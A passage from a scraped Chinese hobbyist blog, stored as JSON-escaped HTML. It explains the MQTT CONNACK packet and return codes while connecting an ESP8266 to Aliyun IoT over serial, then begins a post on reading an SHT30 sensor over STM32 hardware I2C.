\u003cspan class=\"token number\"\u003e26\u003c/span\u003e 6B \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"返回参数\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E8%BF%94%E5%9B%9E%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"返回参数\"\u003e\u003c/a\u003e返回参数\u003c/h3\u003e\u003cp\u003e串口返回数据:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eRx\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e02\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.437\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e 0D 0A 2B \u003cspan class=\"token number\"\u003e49\u003c/span\u003e \u003cspan class=\"token number\"\u003e50\u003c/span\u003e \u003cspan class=\"token number\"\u003e44\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e34\u003c/span\u003e 3A \u003cspan class=\"token number\"\u003e20\u003c/span\u003e \u003cspan class=\"token number\"\u003e02\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e 0D 0A\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e 末尾的\u003ccode\u003e0D\u003c/code\u003e 是回车符,\u003ccode\u003e0A\u003c/code\u003e是换行符,因为使用串口助手,这俩不可避免。\u003c/p\u003e\u003cp\u003e其中前面的 \u003ccode\u003e0D 0A 2B 49 50 44 2C 34 3A\u003c/code\u003e,是\u003ccode\u003e+IPD,4\u003c/code\u003e,我们只需要关注后面的字节:**\u003ccode\u003e20 02 00 00\u003c/code\u003e** 。\u003c/p\u003e\u003cp\u003e要知道这玩意的意思,首先要了解CONNACK – 确认连接请求。\u003c/p\u003e\u003ch2 id=\"CONNACK-–-确认连接请求\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#CONNACK-%E2%80%93-%E7%A1%AE%E8%AE%A4%E8%BF%9E%E6%8E%A5%E8%AF%B7%E6%B1%82\" class=\"headerlink\" title=\"CONNACK – 确认连接请求\"\u003e\u003c/a\u003eCONNACK – 确认连接请求\u003c/h2\u003e\u003cp\u003e服务端发送CONNACK报文响应从客户端收到的CONNECT报文。服务端发送给客户端的第一个报文\u003cstrong\u003e必须\u003c/strong\u003e是CONNACK。\u003c/p\u003e\u003ch3 id=\"固定报头-1\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%9B%BA%E5%AE%9A%E6%8A%A5%E5%A4%B4-1\" class=\"headerlink\" title=\"固定报头\"\u003e\u003c/a\u003e固定报头\u003c/h3\u003e\u003ctable\u003e \u003ctbody\u003e\u003ctr\u003e \u003cth colspan=\"9\"\u003e\u003ccenter\u003eCONNACK报文固定报头\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003cth\u003e\u003ccenter\u003eBit\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e7\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e6\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e5\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e4\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e3\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e2\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 1\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eMQTT报文类型(2)\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eReserved 保留位\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 2...\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"8\"\u003e\u003ccenter\u003e剩余长度(2)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e\u003cstrong\u003e剩余长度字段:\u003c/strong\u003e表示可变报头的长度。对于CONNACK报文这个值等于2。\u003c/p\u003e\u003ch4 id=\"固定报头编码\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%9B%BA%E5%AE%9A%E6%8A%A5%E5%A4%B4%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"固定报头编码\"\u003e\u003c/a\u003e固定报头编码\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e \u003cspan class=\"token number\"\u003e02\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"可变报头-1\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%8F%AF%E5%8F%98%E6%8A%A5%E5%A4%B4-1\" class=\"headerlink\" title=\"可变报头\"\u003e\u003c/a\u003e可变报头\u003c/h3\u003e\u003ctable\u003e \u003ctbody\u003e\u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eCONNACK报文可变报头\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003cth\u003e\u003ccenter\u003e\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e描述\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e7\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e6\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e5\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e4\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e3\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e2\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd colspan=\"2\"\u003e\u003ccenter\u003e连接确认标志\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"7\"\u003e\u003ccenter\u003eReserved 保留位\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eSP\u003csup\u003e1\u003csup\u003e\u003c/sup\u003e\u003c/sup\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd colspan=\"10\"\u003e\u003ccenter\u003e连接返回码\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte2\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"连接确认标志-Connect-Acknowledge-Flags\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E8%BF%9E%E6%8E%A5%E7%A1%AE%E8%AE%A4%E6%A0%87%E5%BF%97-Connect-Acknowledge-Flags\" class=\"headerlink\" title=\"连接确认标志 Connect Acknowledge Flags\"\u003e\u003c/a\u003e连接确认标志 Connect Acknowledge Flags\u003c/h4\u003e\u003cp\u003e第1个字节是 \u003cem\u003e连接确认标志\u003c/em\u003e,位7-1是保留位且\u003cstrong\u003e必须\u003c/strong\u003e设置为0。 第0 (SP)位 是当前会话(Session Present)标志。\u003c/p\u003e\u003ch5 id=\"当前会话-Session-Present\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%BD%93%E5%89%8D%E4%BC%9A%E8%AF%9D-Session-Present\" class=\"headerlink\" title=\"当前会话 Session Present\"\u003e\u003c/a\u003e当前会话 Session Present\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e位置:\u003c/strong\u003e连接确认标志的第0位。\u003c/p\u003e\u003cp\u003e如果服务端收到清理会话(CleanSession)标志为1的连接,除了将CONNACK报文中的返回码设置为0之外,还\u003cstrong\u003e必须\u003c/strong\u003e将CONNACK报文中的当前会话设置(Session Present)标志为0。\u003c/p\u003e\u003cp\u003e)我们在发送报文中清理会话标志位为1,所以返回码为0。(其他情况参阅资料)\u003c/p\u003e\u003ch4 id=\"连接返回码-Connect-Return-code\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E8%BF%9E%E6%8E%A5%E8%BF%94%E5%9B%9E%E7%A0%81-Connect-Return-code\" class=\"headerlink\" title=\"连接返回码 Connect Return code\"\u003e\u003c/a\u003e连接返回码 Connect Return code\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e位置:\u003c/strong\u003e可变报头的第2个字节。\u003c/p\u003e\u003cp\u003e连接返回码字段使用一个字节的无符号值,在下表中列出。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e值\u003c/th\u003e\u003cth\u003e返回码响应\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e0x00连接已接受\u003c/td\u003e\u003ctd\u003e连接已被服务端接受\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003e0x01连接已拒绝,不支持的协议版本\u003c/td\u003e\u003ctd\u003e服务端不支持客户端请求的MQTT协议级别\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003e0x02连接已拒绝,不合格的客户端标识符\u003c/td\u003e\u003ctd\u003e客户端标识符是正确的UTF-8编码,但服务端不允许使用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003e0x03连接已拒绝,服务端不可用\u003c/td\u003e\u003ctd\u003e网络连接已建立,但MQTT服务不可用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e4\u003c/td\u003e\u003ctd\u003e0x04连接已拒绝,无效的用户名或密码\u003c/td\u003e\u003ctd\u003e用户名或密码的数据格式无效\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e5\u003c/td\u003e\u003ctd\u003e0x05连接已拒绝,未授权\u003c/td\u003e\u003ctd\u003e客户端未被授权连接到此服务器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e6-255\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003e保留\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e如果服务端收到一个合法的CONNECT报文,但出于某些原因无法处理它,服务端应该尝试发送一个包含非零返回码(表格中的某一个)的CONNACK报文。如果服务端发送了一个包含非零返回码的CONNACK报文,那么它\u003cstrong\u003e必须\u003c/strong\u003e关闭网络连接。\u003c/p\u003e\u003ch4 id=\"正确连接的可变报头\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E6%AD%A3%E7%A1%AE%E8%BF%9E%E6%8E%A5%E7%9A%84%E5%8F%AF%E5%8F%98%E6%8A%A5%E5%A4%B4\" class=\"headerlink\" title=\"正确连接的可变报头\"\u003e\u003c/a\u003e正确连接的可变报头\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e00 00\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"有效载荷-1\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E6%9C%89%E6%95%88%E8%BD%BD%E8%8D%B7-1\" class=\"headerlink\" title=\"有效载荷\"\u003e\u003c/a\u003e有效载荷\u003c/h3\u003e\u003cp\u003eCONNACK报文没有有效载荷。\u003c/p\u003e\u003ch2 id=\"最终结果\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E6%9C%80%E7%BB%88%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"最终结果\"\u003e\u003c/a\u003e最终结果\u003c/h2\u003e\u003cp\u003e串口返回数据:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eRx\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e02\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.437\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e 0D 0A 2B \u003cspan class=\"token number\"\u003e49\u003c/span\u003e \u003cspan class=\"token number\"\u003e50\u003c/span\u003e \u003cspan class=\"token number\"\u003e44\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e34\u003c/span\u003e 3A \u003cspan class=\"token number\"\u003e20\u003c/span\u003e \u003cspan class=\"token number\"\u003e02\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e 0D 0A\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e根据我们在串口看到的返回结果\u003ccode\u003e20 02 00 00\u003c/code\u003e,可知连接已经建立成功。\u003c/p\u003e\u003cp\u003e这时候在阿里云物联网平台的设备页面,我们看见我们的设备上线了!\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-markup\" data-language=\"markup\"\u003e\u003ccode class=\"language-markup\"\u003e最后上线时间 2023/07/23 02:12:13.847\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://doc.openluat.com/wiki/49\"\u003eLuat社区 (openluat.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://help.aliyun.com/zh/iot/user-guide/establish-mqtt-connections-over-tcp#section-llx-5ay-oma\"\u003eMQTT-TCP连接通信 (aliyun.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mcxiaoke.gitbooks.io/mqtt-cn/content/\"\u003eMQTT中文手册\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.codenong.com/cs105877395/\"\u003eMQTT协议学习一、MQTT控制报文的结构与CONNECT报文构建 | 码农家园 (codenong.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mcxiaoke.gitbooks.io/mqtt-cn/content/mqtt/01-Introduction.html\"\u003e第一章 - MQTT介绍 · MQTT协议中文版 (gitbooks.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_52672120/article/details/112308318\"\u003eMQTT - CONNECT报文_mqtt_connect_Hebo42的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/cw_huang/article/details/105815349\"\u003eESP8266-12F AT指令连接阿里云_GEEK.攻城狮的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/huangcw/p/12778758.html\"\u003eESP8266-12F AT指令连接阿里云 - 黄豆爸 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baijiahao.baidu.com/s?id=1715575644678049062\u0026amp;wfr=spider\u0026amp;for=pc\"\u003eMQTT协议报文格式解析 (baidu.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/47a8/"},{"title":"STM32使用硬件IIC驱动SHT30温湿度传感器","time":"2023-07-13T16:37:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#STM32%E4%BD%BF%E7%94%A8%E7%A1%AC%E4%BB%B6IIC%E9%A9%B1%E5%8A%A8SHT30%E6%B8%A9%E6%B9%BF%E5%BA%A6%E4%BC%A0%E6%84%9F%E5%99%A8\" class=\"headerlink\" title=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003c/a\u003eSTM32使用硬件IIC驱动SHT30温湿度传感器\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e喜报,终于写完了\u003c/del\u003e\u003c/p\u003e\u003cp\u003e当时网上 xjb乱逛,突然看见有人讨论小米温湿度传感器,我当时也买了个这玩意,于是突然感兴趣查了一下用的传感器——SHT30,协议是IIC。当时想着能不能自己也山寨一个小米温湿度传感器 \u003cdel\u003e,然后下单了SHT30之后就再也没动过\u003c/del\u003e 。这会放假了,想起来这玩意,就整一整吧,顺便再 \u003cstrong\u003e学习一遍IIC协议\u003c/strong\u003e 。图个方便,这次先用硬件IIC。\u003c/p\u003e\u003ch2 id=\"IIC-协议\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#IIC-%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"IIC 协议\"\u003e\u003c/a\u003eIIC 协议\u003c/h2\u003e\u003ch2 id=\"I2C协议介绍\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#I2C%E5%8D%8F%E8%AE%AE%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"I2C协议介绍\"\u003e\u003c/a\u003eI2C协议介绍\u003c/h2\u003e\u003ch3 id=\"(1)I2C协议简介\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89I2C%E5%8D%8F%E8%AE%AE%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"(1)I2C协议简介\"\u003e\u003c/a\u003e(1)I2C协议简介\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e【省流版】:\u003c/p\u003e\u003cp\u003e串行通信协议的一种,属于串行通信协议中的半双工同步通信。\u003c/p\u003e\u003cp\u003eIIC是一种被定义好的标准,采用二线制,一条数据线,一条时钟线;\u003c/p\u003e\u003cp\u003e数据线传输数据,一位一位传输;时钟线控制传输速率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eI2C总线是Philips公司在八十年代初推出的一种\u003cstrong\u003e串行、半双工的总线\u003c/strong\u003e,主要用于近距离、低速的芯片之间的通信。\u003c/p\u003e\u003cp\u003e每个IIC器件有两条线路:\u003c/p\u003e\u003cul\u003e\u003cli\u003eSDA是供主器件和节点发送和接收数据的线路。\u003c/li\u003e\u003cli\u003eSCL是承载时钟信号的线路。SCL总是由I2C主器件生成。规范对时钟信号的低相位和高相位有最短周期要求。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eI2C总线仅使用两条双向线路:每个器件的SDA和SCL用于简单的IC间通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/11.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e硬件最重要的注意是在SDA和SCL上加入上拉电阻。I2C器件通过开集或开漏引脚连接到总线,将线路拉低。当没有数据传输时,I2C总线处于高电平空闲状态;线路被被动拉高。要传输数据,须切换线路,即先拉低再释放(又变为高电平)。数据位在时钟下降沿传输。\u003c/p\u003e\u003cp\u003e开漏输出需要一个上拉电阻(Rp)才能正确输出高电平。上拉电阻连接在输出引脚和高电平所需的输出电压(VDD)之间。\u003c/p\u003e\u003cp\u003e对于VCC和VDD (5 V)的典型值,4700 Ω是最常用的上拉电阻值。\u003c/p\u003e\u003cp\u003eI2C总线是一种主从结构(Master/Slave)总线, I2C总线上的每一个设备都可以作为主设备或者从设备,但一个总线上一般只有一个主设备,可以带多个从设备。其中主设备用来产生允许传输的时钟信号,并初始化总线的数据传输,所以主设备通常是CPU,而从设备只能被动响应主设备发起的通信请求,所以各种I2C接口芯片将作为从设备使用。\u003c/p\u003e\u003ch4 id=\"(2)I2C从设备地址\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%EF%BC%882%EF%BC%89I2C%E4%BB%8E%E8%AE%BE%E5%A4%87%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"(2)I2C从设备地址\"\u003e\u003c/a\u003e(2)I2C从设备地址\u003c/h4\u003e\u003cp\u003e因为一个I2C总线上可以有多个从设备,这样主设备需要通过地址来确定与哪个器件进行通信。I2C总线上每个从设备都有一个唯一的7bit地址物理识别,这个地址固化在芯片内部,并可以从芯片datasheet上找到。\u003c/p\u003e\u003cp\u003eI2C有16个保留地址。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/12.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e其中I2C的从器件地址(本次SHT30只用到了7位的)的组成如下:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e1byte = 7bit地址 + 1bit读写标志\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e注:1bit读写标志中,0-发送数据(写),1-请求数据(读)\u003c/p\u003e\u003cp\u003e有些时候一个总线上可能需要挂多个同一芯片,这样有些芯片还需要引出一个或几个引脚,由开发板设计电路来决定其具体地址,从而让不同芯片具有不同的7bit物理地址。\u003c/p\u003e\u003ch3 id=\"I2C通信时序\"\u003e\u003ca 